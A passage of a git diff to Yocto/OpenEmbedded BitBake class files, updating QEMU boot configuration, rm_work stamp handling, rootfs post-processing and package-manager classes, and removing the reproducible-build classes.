# "-drive id=disk0,file=@ROOTFS@,if=none,format=raw -device virtio-blk-device,drive=disk0"
# Note, runqemu will replace "@ROOTFS@" with the one which is used, such as core-image-minimal-qemuarm64.ext4.
@@ -53,29 +73,43 @@
# " -device virtio-serial-device -chardev socket,id=virtcon,port=@PORT@,host=127.0.0.1 -device virtconsole,chardev=virtcon"
# Note, runqemu will replace "@PORT@" with the port number which is used.
#
+# QB_ROOTFS_EXTRA_OPT: extra options to be appended to the rootfs device in case there is none specified by QB_ROOTFS_OPT.
+# Can be used to automatically determine the image from the other variables
+# but define things link 'bootindex' when booting from EFI or 'readonly' when using squashfs
+# without the need to specify a dedicated qemu configuration
+#
+# QB_GRAPHICS: QEMU video card type (e.g. "-vga std")
+#
# Usage:
# IMAGE_CLASSES += "qemuboot"
# See "runqemu help" for more info
QB_MEM ?= "-m 256"
+QB_SMP ?= ""
QB_SERIAL_OPT ?= "-serial mon:stdio -serial null"
QB_DEFAULT_KERNEL ?= "${KERNEL_IMAGETYPE}"
QB_DEFAULT_FSTYPE ?= "ext4"
-QB_OPT_APPEND ?= "-show-cursor"
+QB_RNG ?= "-object rng-random,filename=/dev/urandom,id=rng0 -device virtio-rng-pci,rng=rng0"
+QB_OPT_APPEND ?= ""
QB_NETWORK_DEVICE ?= "-device virtio-net-pci,netdev=net0,mac=@MAC@"
+QB_CMDLINE_IP_SLIRP ?= "ip=dhcp"
+QB_CMDLINE_IP_TAP ?= "ip=192.168.7.@CLIENT@::192.168.7.@GATEWAY@:255.255.255.0::eth0:off:8.8.8.8"
+QB_ROOTFS_EXTRA_OPT ?= ""
+QB_GRAPHICS ?= ""
# This should be kept align with ROOT_VM
QB_DRIVE_TYPE ?= "/dev/sd"
+inherit image-artifact-names
+
# Create qemuboot.conf
addtask do_write_qemuboot_conf after do_rootfs before do_image
-IMGDEPLOYDIR ?= "${WORKDIR}/deploy-${PN}-image-complete"
def qemuboot_vars(d):
build_vars = ['MACHINE', 'TUNE_ARCH', 'DEPLOY_DIR_IMAGE',
'KERNEL_IMAGETYPE', 'IMAGE_NAME', 'IMAGE_LINK_NAME',
'STAGING_DIR_NATIVE', 'STAGING_BINDIR_NATIVE',
- 'STAGING_DIR_HOST']
+ 'STAGING_DIR_HOST', 'SERIAL_CONSOLES', 'UNINATIVE_LOADER']
return build_vars + [k for k in d.keys() if k.startswith('QB_')]
do_write_qemuboot_conf[vardeps] += "${@' '.join(qemuboot_vars(d))}"
@@ -84,12 +118,17 @@ python do_write_qemuboot_conf() {
import configparser
qemuboot = "%s/%s.qemuboot.conf" % (d.getVar('IMGDEPLOYDIR'), d.getVar('IMAGE_NAME'))
- qemuboot_link = "%s/%s.qemuboot.conf" % (d.getVar('IMGDEPLOYDIR'), d.getVar('IMAGE_LINK_NAME'))
+ if d.getVar('IMAGE_LINK_NAME'):
+ qemuboot_link = "%s/%s.qemuboot.conf" % (d.getVar('IMGDEPLOYDIR'), d.getVar('IMAGE_LINK_NAME'))
+ else:
+ qemuboot_link = ""
finalpath = d.getVar("DEPLOY_DIR_IMAGE")
topdir = d.getVar('TOPDIR')
cf = configparser.ConfigParser()
cf.add_section('config_bsp')
for k in sorted(qemuboot_vars(d)):
+ if ":" in k:
+ continue
# qemu-helper-native sysroot is not removed by rm_work and
# contains all tools required by runqemu
if k == 'STAGING_BINDIR_NATIVE':
@@ -97,6 +136,8 @@ python do_write_qemuboot_conf() {
'qemu-helper-native/1.0-r1/recipe-sysroot-native/usr/bin/')
else:
val = d.getVar(k)
+ if val is None:
+ continue
# we only want to write out relative paths so that we can relocate images
# and still run them
if val.startswith(topdir):
@@ -117,7 +158,7 @@ python do_write_qemuboot_conf() {
with open(qemuboot, 'w') as f:
cf.write(f)
- if qemuboot_link != qemuboot:
+ if qemuboot_link and qemuboot_link != qemuboot:
if os.path.lexists(qemuboot_link):
os.remove(qemuboot_link)
os.symlink(os.path.basename(qemuboot), qemuboot_link)
diff --git a/meta/classes/relocatable.bbclass b/meta/classes/relocatable.bbclass
index 582812c1cf..af04be5cca 100644
--- a/meta/classes/relocatable.bbclass
+++ b/meta/classes/relocatable.bbclass
@@ -6,13 +6,15 @@ python relocatable_binaries_preprocess() {
rpath_replace(d.expand('${SYSROOT_DESTDIR}'), d)
}
-relocatable_native_pcfiles () {
- if [ -d ${SYSROOT_DESTDIR}${libdir}/pkgconfig ]; then
- rel=${@os.path.relpath(d.getVar('base_prefix'), d.getVar('libdir') + "/pkgconfig")}
- sed -i -e "s:${base_prefix}:\${pcfiledir}/$rel:g" ${SYSROOT_DESTDIR}${libdir}/pkgconfig/*.pc
- fi
- if [ -d ${SYSROOT_DESTDIR}${datadir}/pkgconfig ]; then
- rel=${@os.path.relpath(d.getVar('base_prefix'), d.getVar('datadir') + "/pkgconfig")}
- sed -i -e "s:${base_prefix}:\${pcfiledir}/$rel:g" ${SYSROOT_DESTDIR}${datadir}/pkgconfig/*.pc
- fi
+relocatable_native_pcfiles() {
+ for dir in ${libdir}/pkgconfig ${datadir}/pkgconfig; do
+ files_template=${SYSROOT_DESTDIR}$dir/*.pc
+ # Expand to any files matching $files_template
+ files=$(echo $files_template)
+ # $files_template and $files will differ if any files were found
+ if [ "$files_template" != "$files" ]; then
+ rel=$(realpath -m --relative-to=$dir ${base_prefix})
+ sed -i -e "s:${base_prefix}:\${pcfiledir}/$rel:g" $files
+ fi
+ done
}
diff --git a/meta/classes/report-error.bbclass b/meta/classes/report-error.bbclass
index 1a12db1206..de48e4ff0f 100644
--- a/meta/classes/report-error.bbclass
+++ b/meta/classes/report-error.bbclass
@@ -64,6 +64,8 @@ python errorreport_handler () {
data['failures'] = []
data['component'] = " ".join(e.getPkgs())
data['branch_commit'] = str(base_detect_branch(e.data)) + ": " + str(base_detect_revision(e.data))
+ data['bitbake_version'] = e.data.getVar("BB_VERSION")
+ data['layer_version'] = get_layers_branch_rev(e.data)
data['local_conf'] = get_conf_data(e, 'local.conf')
data['auto_conf'] = get_conf_data(e, 'auto.conf')
lock = bb.utils.lockfile(datafile + '.lock')
diff --git a/meta/classes/reproducible_build.bbclass b/meta/classes/reproducible_build.bbclass
deleted file mode 100644
index 39b6e40cac..0000000000
--- a/meta/classes/reproducible_build.bbclass
+++ /dev/null
@@ -1,179 +0,0 @@
-# reproducible_build.bbclass
-#
-# Sets SOURCE_DATE_EPOCH in each component's build environment.
-# Upstream components (generally) respect this environment variable,
-# using it in place of the "current" date and time.
-# See https://reproducible-builds.org/specs/source-date-epoch/
-#
-# After sources are unpacked but before they are patched, we set a reproducible value for SOURCE_DATE_EPOCH.
-# This value should be reproducible for anyone who builds the same revision from the same sources.
-#
-# There are 4 ways we determine SOURCE_DATE_EPOCH:
-#
-# 1. Use the value from __source_date_epoch.txt file if this file exists.
-# This file was most likely created in the previous build by one of the following methods 2,3,4.
-# Alternatively, it can be provided by a recipe via SRC_URI.
-#
-# If the file does not exist:
-#
-# 2. If there is a git checkout, use the last git commit timestamp.
-# Git does not preserve file timestamps on checkout.
-#
-# 3. Use the mtime of "known" files such as NEWS, CHANGLELOG, ...
-# This works for well-kept repositories distributed via tarball.
-#
-# 4. Use the modification time of the youngest file in the source tree, if there is one.
-# This will be the newest file from the distribution tarball, if any.
-#
-# 5. Fall back to a fixed timestamp.
-#
-# Once the value of SOURCE_DATE_EPOCH is determined, it is stored in the recipe's SDE_FILE.
-# If none of these mechanisms are suitable, replace the do_deploy_source_date_epoch task
-# with recipe-specific functionality to write the appropriate SOURCE_DATE_EPOCH into the SDE_FILE.
-#
-# If this file is found by other tasks, the value is exported in the SOURCE_DATE_EPOCH variable.
-# SOURCE_DATE_EPOCH is set for all tasks that might use it (do_configure, do_compile, do_package, ...)
-
-BUILD_REPRODUCIBLE_BINARIES ??= '1'
-inherit ${@oe.utils.ifelse(d.getVar('BUILD_REPRODUCIBLE_BINARIES') == '1', 'reproducible_build_simple', '')}
-
-SDE_DIR ="${WORKDIR}/source-date-epoch"
-SDE_FILE = "${SDE_DIR}/__source_date_epoch.txt"
-SDE_DEPLOYDIR = "${WORKDIR}/deploy-source-date-epoch"
-
-SSTATETASKS += "do_deploy_source_date_epoch"
-
-do_deploy_source_date_epoch () {
- echo "Deploying SDE to ${SDE_DIR}."
- mkdir -p ${SDE_DEPLOYDIR}
- if [ -e ${SDE_FILE} ]; then
- cp -p ${SDE_FILE} ${SDE_DEPLOYDIR}/__source_date_epoch.txt
- fi
-}
-
-python do_deploy_source_date_epoch_setscene () {
- sstate_setscene(d)
- bb.utils.mkdirhier(d.getVar('SDE_DIR'))
- sde_file = os.path.join(d.getVar('SDE_DEPLOYDIR'), '__source_date_epoch.txt')
- if os.path.exists(sde_file):
- os.rename(sde_file, d.getVar('SDE_FILE'))
-}
-
-do_deploy_source_date_epoch[dirs] = "${SDE_DEPLOYDIR}"
-do_deploy_source_date_epoch[sstate-plaindirs] = "${SDE_DEPLOYDIR}"
-addtask do_deploy_source_date_epoch_setscene
-addtask do_deploy_source_date_epoch before do_configure after do_patch
-
-def get_source_date_epoch_from_known_files(d, sourcedir):
- source_date_epoch = None
- newest_file = None
- known_files = set(["NEWS", "ChangeLog", "Changelog", "CHANGES"])
- for file in known_files:
- filepath = os.path.join(sourcedir, file)
- if os.path.isfile(filepath):
- mtime = int(os.lstat(filepath).st_mtime)
- # There may be more than one "known_file" present, if so, use the youngest one
- if not source_date_epoch or mtime > source_date_epoch:
- source_date_epoch = mtime
- newest_file = filepath
- if newest_file:
- bb.debug(1, "SOURCE_DATE_EPOCH taken from: %s" % newest_file)
- return source_date_epoch
-
-def find_git_folder(d, sourcedir):
- # First guess: WORKDIR/git
- # This is the default git fetcher unpack path
- workdir = d.getVar('WORKDIR')
- gitpath = os.path.join(workdir, "git/.git")
- if os.path.isdir(gitpath):
- return gitpath
-
- # Second guess: ${S}
- gitpath = os.path.join(sourcedir, ".git")
- if os.path.isdir(gitpath):
- return gitpath
-
- # Perhaps there was a subpath or destsuffix specified.
- # Go looking in the WORKDIR
- exclude = set(["build", "image", "license-destdir", "patches", "pseudo",
- "recipe-sysroot", "recipe-sysroot-native", "sysroot-destdir", "temp"])
- for root, dirs, files in os.walk(workdir, topdown=True):
- dirs[:] = [d for d in dirs if d not in exclude]
- if '.git' in dirs:
- return root
-
- bb.warn("Failed to find a git repository in WORKDIR: %s" % workdir)
- return None
-
-def get_source_date_epoch_from_git(d, sourcedir):
- source_date_epoch = None
- if "git://" in d.getVar('SRC_URI'):
- gitpath = find_git_folder(d, sourcedir)
- if gitpath:
- import subprocess
- source_date_epoch = int(subprocess.check_output(['git','log','-1','--pretty=%ct'], cwd=gitpath))
- bb.debug(1, "git repository: %s" % gitpath)
- return source_date_epoch
-
-def get_source_date_epoch_from_youngest_file(d, sourcedir):
- if sourcedir == d.getVar('WORKDIR'):
- # These sources are almost certainly not from a tarball
- return None
-
- # Do it the hard way: check all files and find the youngest one...
- source_date_epoch = None
- newest_file = None
- for root, dirs, files in os.walk(sourcedir, topdown=True):
- files = [f for f in files if not f[0] == '.']
-
- for fname in files:
- filename = os.path.join(root, fname)
- try:
- mtime = int(os.lstat(filename).st_mtime)
- except ValueError:
- mtime = 0
- if not source_date_epoch or mtime > source_date_epoch:
- source_date_epoch = mtime
- newest_file = filename
-
- if newest_file:
- bb.debug(1, "Newest file found: %s" % newest_file)
- return source_date_epoch
-
-def fixed_source_date_epoch():
- bb.debug(1, "No tarball or git repo found to determine SOURCE_DATE_EPOCH")
- return 0
-
-python do_create_source_date_epoch_stamp() {
- epochfile = d.getVar('SDE_FILE')
- if os.path.isfile(epochfile):
- bb.debug(1, "Reusing SOURCE_DATE_EPOCH from: %s" % epochfile)
- return
-
- sourcedir = d.getVar('S')
- source_date_epoch = (
- get_source_date_epoch_from_git(d, sourcedir) or
- get_source_date_epoch_from_known_files(d, sourcedir) or
- get_source_date_epoch_from_youngest_file(d, sourcedir) or
- fixed_source_date_epoch() # Last resort
- )
-
- bb.debug(1, "SOURCE_DATE_EPOCH: %d" % source_date_epoch)
- bb.utils.mkdirhier(d.getVar('SDE_DIR'))
- with open(epochfile, 'w') as f:
- f.write(str(source_date_epoch))
-}
-
-BB_HASHBASE_WHITELIST += "SOURCE_DATE_EPOCH"
-
-python () {
- if d.getVar('BUILD_REPRODUCIBLE_BINARIES') == '1':
- d.appendVarFlag("do_unpack", "postfuncs", " do_create_source_date_epoch_stamp")
- epochfile = d.getVar('SDE_FILE')
- source_date_epoch = "0"
- if os.path.isfile(epochfile):
- with open(epochfile, 'r') as f:
- source_date_epoch = f.read()
- bb.debug(1, "SOURCE_DATE_EPOCH: %s" % source_date_epoch)
- d.setVar('SOURCE_DATE_EPOCH', source_date_epoch)
-}
diff --git a/meta/classes/reproducible_build_simple.bbclass b/meta/classes/reproducible_build_simple.bbclass
deleted file mode 100644
index 8a60deef3d..0000000000
--- a/meta/classes/reproducible_build_simple.bbclass
+++ /dev/null
@@ -1,10 +0,0 @@
-# Setup default environment for reproducible builds.
-
-BUILD_REPRODUCIBLE_BINARIES = "1"
-
-export PYTHONHASHSEED = "0"
-export PERL_HASH_SEED = "0"
-export SOURCE_DATE_EPOCH ??= "1520598896"
-
-REPRODUCIBLE_TIMESTAMP_ROOTFS ??= "1520598896"
-
diff --git a/meta/classes/rm_work.bbclass b/meta/classes/rm_work.bbclass
index 0bbc450100..5f12d5aaeb 100644
--- a/meta/classes/rm_work.bbclass
+++ b/meta/classes/rm_work.bbclass
@@ -13,7 +13,7 @@
# Recipes can also configure which entries in their ${WORKDIR}
# are preserved besides temp, which already gets excluded by default
# because it contains logs:
-# do_install_append () {
+# do_install:append () {
# echo "bar" >${WORKDIR}/foo
# }
# RM_WORK_EXCLUDE_ITEMS += "foo"
@@ -24,7 +24,7 @@ RM_WORK_EXCLUDE_ITEMS = "temp"
BB_SCHEDULER ?= "completion"
# Run the rm_work task in the idle scheduling class
-BB_TASK_IONICE_LEVEL_task-rm_work = "3.0"
+BB_TASK_IONICE_LEVEL:task-rm_work = "3.0"
do_rm_work () {
# If the recipe name is in the RM_WORK_EXCLUDE, skip the recipe.
@@ -47,70 +47,51 @@ do_rm_work () {
cd `dirname ${STAMP}`
for i in `basename ${STAMP}`*
do
- # By default we'll delete the stamp, unless $i is changed by the inner loop
- # (i=dummy does this)
-
case $i in
*sigdata*|*sigbasedata*)
# Save/skip anything that looks like a signature data file.
- i=dummy
;;
- *do_image_complete_setscene*)
- # Ensure we don't 'stack' setscene extensions to this stamp with the section below
- i=dummy
+ *do_image_complete_setscene*|*do_image_qa_setscene*)
+ # Ensure we don't 'stack' setscene extensions to these stamps with the sections below
;;
*do_image_complete*)
# Promote do_image_complete stamps to setscene versions (ahead of *do_image* below)
mv $i `echo $i | sed -e "s#do_image_complete#do_image_complete_setscene#"`
- i=dummy
- ;;
- *do_image_qa_setscene*)
- # Ensure we don't 'stack' setscene extensions to this stamp with the section below
- i=dummy
;;
*do_image_qa*)
# Promote do_image_qa stamps to setscene versions (ahead of *do_image* below)
mv $i `echo $i | sed -e "s#do_image_qa#do_image_qa_setscene#"`
- i=dummy
;;
*do_package_write*|*do_rootfs*|*do_image*|*do_bootimg*|*do_write_qemuboot_conf*|*do_build*)
- i=dummy
;;
*do_addto_recipe_sysroot*)
# Preserve recipe-sysroot-native if do_addto_recipe_sysroot has been used
excludes="$excludes recipe-sysroot-native"
- i=dummy
;;
*do_package|*do_package.*|*do_package_setscene.*)
# We remove do_package entirely, including any
# sstate version since otherwise we'd need to leave 'plaindirs' around
# such as 'packages' and 'packages-split' and these can be large. No end
# of chain tasks depend directly on do_package anymore.
- rm -f $i;
- i=dummy
+ rm -f -- $i;
;;
*_setscene*)
# Skip stamps which are already setscene versions
- i=dummy
;;
+ *)
+ # For everything else: if suitable, promote the stamp to a setscene
+ # version, otherwise remove it
+ for j in ${SSTATETASKS} do_shared_workdir
+ do
+ case $i in
+ *$j|*$j.*)
+ mv $i `echo $i | sed -e "s#${j}#${j}_setscene#"`
+ break
+ ;;
+ esac
+ done
+ rm -f -- $i
esac
-
- for j in ${SSTATETASKS} do_shared_workdir
- do
- case $i in
- dummy)
- break
- ;;
- *$j|*$j.*)
- # Promote the stamp to a setscene version
- mv $i `echo $i | sed -e "s#${j}#${j}_setscene#"`
- i=dummy
- break
- ;;
- esac
- done
-
- rm -f $i
done
cd ${WORKDIR}
@@ -119,9 +100,9 @@ do_rm_work () {
# Retain only logs and other files in temp, safely ignore
# failures of removing pseudo folers on NFS2/3 server.
if [ $dir = 'pseudo' ]; then
- rm -rf $dir 2> /dev/null || true
+ rm -rf -- $dir 2> /dev/null || true
elif ! echo "$excludes" | grep -q -w "$dir"; then
- rm -rf $dir
+ rm -rf -- $dir
fi
done
}
diff --git a/meta/classes/rm_work_and_downloads.bbclass b/meta/classes/rm_work_and_downloads.bbclass
index 7c00bea597..15e6091b9d 100644
--- a/meta/classes/rm_work_and_downloads.bbclass
+++ b/meta/classes/rm_work_and_downloads.bbclass
@@ -28,6 +28,6 @@ inherit rm_work
# Instead go up one level and remove ourself.
DL_DIR = "${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}/${PN}/downloads"
-do_rm_work_append () {
+do_rm_work:append () {
rm -rf ${DL_DIR}
}
diff --git a/meta/classes/rootfs-postcommands.bbclass b/meta/classes/rootfs-postcommands.bbclass
index 2f171836fa..7b92df69c5 100644
--- a/meta/classes/rootfs-postcommands.bbclass
+++ b/meta/classes/rootfs-postcommands.bbclass
@@ -1,6 +1,6 @@
# Zap the root password if debug-tweaks feature is not enabled
-ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains_any("IMAGE_FEATURES", [ 'debug-tweaks', 'empty-root-password' ], "", "zap_empty_root_password ; ",d)}'
+ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains_any("IMAGE_FEATURES", [ 'debug-tweaks', 'empty-root-password' ], "", "zap_empty_root_password; ",d)}'
# Allow dropbear/openssh to accept logins from accounts with an empty password string if debug-tweaks or allow-empty-password is enabled
ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains_any("IMAGE_FEATURES", [ 'debug-tweaks', 'allow-empty-password' ], "ssh_allow_empty_password; ", "",d)}'
@@ -12,7 +12,7 @@ ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains_any("IMAGE_FEATURES", [ 'deb
ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains_any("IMAGE_FEATURES", [ 'debug-tweaks', 'post-install-logging' ], "postinst_enable_logging; ", "",d)}'
# Create /etc/timestamp during image construction to give a reasonably sane default time setting
-ROOTFS_POSTPROCESS_COMMAND += "rootfs_update_timestamp ; "
+ROOTFS_POSTPROCESS_COMMAND += "rootfs_update_timestamp; "
# Tweak the mount options for rootfs in /etc/fstab if read-only-rootfs is enabled
ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains("IMAGE_FEATURES", "read-only-rootfs", "read_only_rootfs_hook; ", "",d)}'
@@ -21,12 +21,12 @@ ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains("IMAGE_FEATURES", "read-only
# otherwise kernel or initramfs end up mounting the rootfs read/write
# (the default) if supported by the underlying storage.
#
-# We do this with _append because the default value might get set later with ?=
+# We do this with :append because the default value might get set later with ?=
# and we don't want to disable such a default that by setting a value here.
-APPEND_append = '${@bb.utils.contains("IMAGE_FEATURES", "read-only-rootfs", " ro", "", d)}'
+APPEND:append = '${@bb.utils.contains("IMAGE_FEATURES", "read-only-rootfs", " ro", "", d)}'
# Generates test data file with data store variables expanded in json format
-ROOTFS_POSTPROCESS_COMMAND += "write_image_test_data ; "
+ROOTFS_POSTPROCESS_COMMAND += "write_image_test_data; "
# Write manifest
IMAGE_MANIFEST = "${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.manifest"
@@ -34,11 +34,15 @@ ROOTFS_POSTUNINSTALL_COMMAND =+ "write_image_manifest ; "
# Set default postinst log file
POSTINST_LOGFILE ?= "${localstatedir}/log/postinstall.log"
# Set default target for systemd images
-SYSTEMD_DEFAULT_TARGET ?= '${@bb.utils.contains("IMAGE_FEATURES", "x11-base", "graphical.target", "multi-user.target", d)}'
+SYSTEMD_DEFAULT_TARGET ?= '${@bb.utils.contains_any("IMAGE_FEATURES", [ "x11-base", "weston" ], "graphical.target", "multi-user.target", d)}'
ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains("DISTRO_FEATURES", "systemd", "set_systemd_default_target; systemd_create_users;", "", d)}'
ROOTFS_POSTPROCESS_COMMAND += 'empty_var_volatile;'
+ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains("DISTRO_FEATURES", "overlayfs", "overlayfs_qa_check;", "", d)}'
+
+inherit image-artifact-names
+
# Sort the user and group entries in /etc by ID in order to make the content
# deterministic. Package installs are not deterministic, causing the ordering
# of entries to change between builds. In case that this isn't desired,
@@ -48,7 +52,7 @@ ROOTFS_POSTPROCESS_COMMAND += 'empty_var_volatile;'
# the numeric IDs of dynamically created entries remain stable.
#
# We want this to run as late as possible, in particular after
-# systemd_sysusers_create and set_user_group. Using _append is not
+# systemd_sysusers_create and set_user_group. Using :append is not
# enough for that, set_user_group is added that way and would end
# up running after us.
SORT_PASSWD_POSTPROCESS_COMMAND ??= " sort_passwd; "
@@ -58,7 +62,7 @@ python () {
}
systemd_create_users () {
- for conffile in ${IMAGE_ROOTFS}/usr/lib/sysusers.d/systemd.conf ${IMAGE_ROOTFS}/usr/lib/sysusers.d/systemd-remote.conf; do
+ for conffile in ${IMAGE_ROOTFS}/usr/lib/sysusers.d/*.conf; do
[ -e $conffile ] || continue
grep -v "^#" $conffile | sed -e '/^$/d' | while read type name id comment; do
if [ "$type" = "u" ]; then
@@ -74,12 +78,8 @@ systemd_create_users () {
eval groupadd --root ${IMAGE_ROOTFS} $groupadd_params || true
elif [ "$type" = "m" ]; then
group=$id
- if [ ! `grep -q "^${group}:" ${IMAGE_ROOTFS}${sysconfdir}/group` ]; then
- eval groupadd --root ${IMAGE_ROOTFS} --system $group
- fi
- if [ ! `grep -q "^${name}:" ${IMAGE_ROOTFS}${sysconfdir}/passwd` ]; then
- eval useradd --root ${IMAGE_ROOTFS} --shell /sbin/nologin --system $name
- fi
+ eval groupadd --root ${IMAGE_ROOTFS} --system $group || true
+ eval useradd --root ${IMAGE_ROOTFS} --shell /sbin/nologin --system $name --no-user-group || true
eval usermod --root ${IMAGE_ROOTFS} -a -G $group $name
fi
done
@@ -214,8 +214,8 @@ postinst_enable_logging () {
# Modify systemd default target
#
set_systemd_default_target () {
- if [ -d ${IMAGE_ROOTFS}${sysconfdir}/systemd/system -a -e ${IMAGE_ROOTFS}${systemd_unitdir}/system/${SYSTEMD_DEFAULT_TARGET} ]; then
- ln -sf ${systemd_unitdir}/system/${SYSTEMD_DEFAULT_TARGET} ${IMAGE_ROOTFS}${sysconfdir}/systemd/system/default.target
+ if [ -d ${IMAGE_ROOTFS}${sysconfdir}/systemd/system -a -e ${IMAGE_ROOTFS}${systemd_system_unitdir}/${SYSTEMD_DEFAULT_TARGET} ]; then
+ ln -sf ${systemd_system_unitdir}/${SYSTEMD_DEFAULT_TARGET} ${IMAGE_ROOTFS}${sysconfdir}/systemd/system/default.target
fi
}
@@ -308,12 +308,16 @@ rootfs_check_host_user_contaminated () {
HOST_USER_UID="$(PSEUDO_UNLOAD=1 id -u)"
HOST_USER_GID="$(PSEUDO_UNLOAD=1 id -g)"
- find "${IMAGE_ROOTFS}" -wholename "${IMAGE_ROOTFS}/home" -prune \
- -user "$HOST_USER_UID" -o -group "$HOST_USER_GID" >"$contaminated"
+ find "${IMAGE_ROOTFS}" -path "${IMAGE_ROOTFS}/home" -prune -o \
+ -user "$HOST_USER_UID" -print -o -group "$HOST_USER_GID" -print >"$contaminated"
+
+ sed -e "s,${IMAGE_ROOTFS},," $contaminated | while read line; do
+ bbwarn "Path in the rootfs is owned by the same user or group as the user running bitbake:" $line `ls -lan ${IMAGE_ROOTFS}/$line`
+ done
if [ -s "$contaminated" ]; then
- echo "WARNING: Paths in the rootfs are owned by the same user or group as the user running bitbake. See the logfile for the specific paths."
- cat "$contaminated" | sed "s,^, ,"
+ bbwarn "/etc/passwd:" `cat ${IMAGE_ROOTFS}/etc/passwd`
+ bbwarn "/etc/group:" `cat ${IMAGE_ROOTFS}/etc/group`
fi
}
@@ -367,3 +371,46 @@ rootfs_reproducible () {
fi
fi
}
+
+# Perform a dumb check for unit existence, not its validity
+python overlayfs_qa_check() {
+ from oe.overlayfs import mountUnitName
+
+ overlayMountPoints = d.getVarFlags("OVERLAYFS_MOUNT_POINT") or {}
+ imagepath = d.getVar("IMAGE_ROOTFS")
+ sysconfdir = d.getVar("sysconfdir")
+ searchpaths = [oe.path.join(imagepath, sysconfdir, "systemd", "system"),
+ oe.path.join(imagepath, d.getVar("systemd_system_unitdir"))]
+ fstabpath = oe.path.join(imagepath, sysconfdir, "fstab")
+
+ if not any(os.path.exists(path) for path in [*searchpaths, fstabpath]):
+ return
+
+ fstabDevices = []
+ if os.path.isfile(fstabpath):
+ with open(fstabpath, 'r') as f:
+ for line in f:
+ if line[0] == '#':
+ continue
+ path = line.split(maxsplit=2)
+ if len(path) > 2:
+ fstabDevices.append(path[1])
+
+ allUnitExist = True;
+ for mountPoint in overlayMountPoints:
+ mountPath = d.getVarFlag('OVERLAYFS_MOUNT_POINT', mountPoint)
+ if mountPath in fstabDevices:
+ continue
+
+ mountUnit = mountUnitName(mountPath)
+ if any(os.path.isfile(oe.path.join(dirpath, mountUnit))
+ for dirpath in searchpaths):
+ continue
+
+ bb.warn('Mount path %s not found in fstat and unit %s not found '
+ 'in systemd unit directories' % (mountPath, mountUnit))
+ allUnitExist = False;
+
+ if not allUnitExist:
+ bb.fatal('Not all mount paths and units are installed in the image')
+}
diff --git a/meta/classes/rootfs_deb.bbclass b/meta/classes/rootfs_deb.bbclass
index 2b93796a76..0469ba7059 100644
--- a/meta/classes/rootfs_deb.bbclass
+++ b/meta/classes/rootfs_deb.bbclass
@@ -7,7 +7,7 @@ ROOTFS_PKGMANAGE = "dpkg apt"
do_rootfs[depends] += "dpkg-native:do_populate_sysroot apt-native:do_populate_sysroot"
do_populate_sdk[depends] += "dpkg-native:do_populate_sysroot apt-native:do_populate_sysroot bzip2-native:do_populate_sysroot"
do_rootfs[recrdeptask] += "do_package_write_deb do_package_qa"
-do_rootfs[vardeps] += "PACKAGE_FEED_URIS"
+do_rootfs[vardeps] += "PACKAGE_FEED_URIS PACKAGE_FEED_BASE_PATHS PACKAGE_FEED_ARCHS"
do_rootfs[lockfiles] += "${DEPLOY_DIR_DEB}/deb.lock"
do_populate_sdk[lockfiles] += "${DEPLOY_DIR_DEB}/deb.lock"
@@ -32,4 +32,8 @@ python () {
d.setVar('DEB_SDK_ARCH', 'amd64')
elif darch == "arm":
d.setVar('DEB_SDK_ARCH', 'armel')
+ elif darch == "aarch64":
+ d.setVar('DEB_SDK_ARCH', 'arm64')
+ else:
+ bb.fatal("Unhandled SDK_ARCH %s" % darch)
}
diff --git a/meta/classes/rootfs_ipk.bbclass b/meta/classes/rootfs_ipk.bbclass
index e73d2bfdae..245c256a6f 100644
--- a/meta/classes/rootfs_ipk.bbclass
+++ b/meta/classes/rootfs_ipk.bbclass
@@ -11,11 +11,11 @@ ROOTFS_PKGMANAGE = "opkg ${EXTRAOPKGCONFIG}"
do_rootfs[depends] += "opkg-native:do_populate_sysroot opkg-utils-native:do_populate_sysroot"
do_populate_sdk[depends] += "opkg-native:do_populate_sysroot opkg-utils-native:do_populate_sysroot"
do_rootfs[recrdeptask] += "do_package_write_ipk do_package_qa"
-do_rootfs[vardeps] += "PACKAGE_FEED_URIS"
+do_rootfs[vardeps] += "PACKAGE_FEED_URIS PACKAGE_FEED_BASE_PATHS PACKAGE_FEED_ARCHS"
do_rootfs[lockfiles] += "${WORKDIR}/ipk.lock"
-do_populate_sdk[lockfiles] += "${WORKDIR}/ipk.lock"
-do_populate_sdk_ext[lockfiles] += "${WORKDIR}/ipk.lock"
+do_populate_sdk[lockfiles] += "${WORKDIR}/sdk-ipk.lock"
+do_populate_sdk_ext[lockfiles] += "${WORKDIR}/sdk-ipk.lock"
OPKG_PREPROCESS_COMMANDS = ""
diff --git a/meta/classes/rootfs_rpm.bbclass b/meta/classes/rootfs_rpm.bbclass
index 51f89ea990..bec4d63ed6 100644
--- a/meta/classes/rootfs_rpm.bbclass
+++ b/meta/classes/rootfs_rpm.bbclass
@@ -4,12 +4,12 @@
ROOTFS_PKGMANAGE = "rpm dnf"
-# dnf is using our custom distutils, and so will fail without these
+# dnf is using our custom sysconfig module, and so will fail without these
export STAGING_INCDIR
export STAGING_LIBDIR
# Add 100Meg of extra space for dnf
-IMAGE_ROOTFS_EXTRA_SPACE_append = "${@bb.utils.contains("PACKAGE_INSTALL", "dnf", " + 102400", "" ,d)}"
+IMAGE_ROOTFS_EXTRA_SPACE:append = "${@bb.utils.contains("PACKAGE_INSTALL", "dnf", " + 102400", "", d)}"
# Dnf is python based, so be sure python3-native is available to us.
EXTRANATIVEPATH += "python3-native"
@@ -24,7 +24,7 @@ do_rootfs[depends] += "${RPMROOTFSDEPENDS}"
do_populate_sdk[depends] += "${RPMROOTFSDEPENDS}"
do_rootfs[recrdeptask] += "do_package_write_rpm do_package_qa"
-do_rootfs[vardeps] += "PACKAGE_FEED_URIS"
+do_rootfs[vardeps] += "PACKAGE_FEED_URIS PACKAGE_FEED_BASE_PATHS PACKAGE_FEED_ARCHS"
python () {
if d.getVar('BUILD_IMAGES_FROM_FEEDS'):
diff --git a/meta/classes/rootfsdebugfiles.bbclass b/meta/classes/rootfsdebugfiles.bbclass
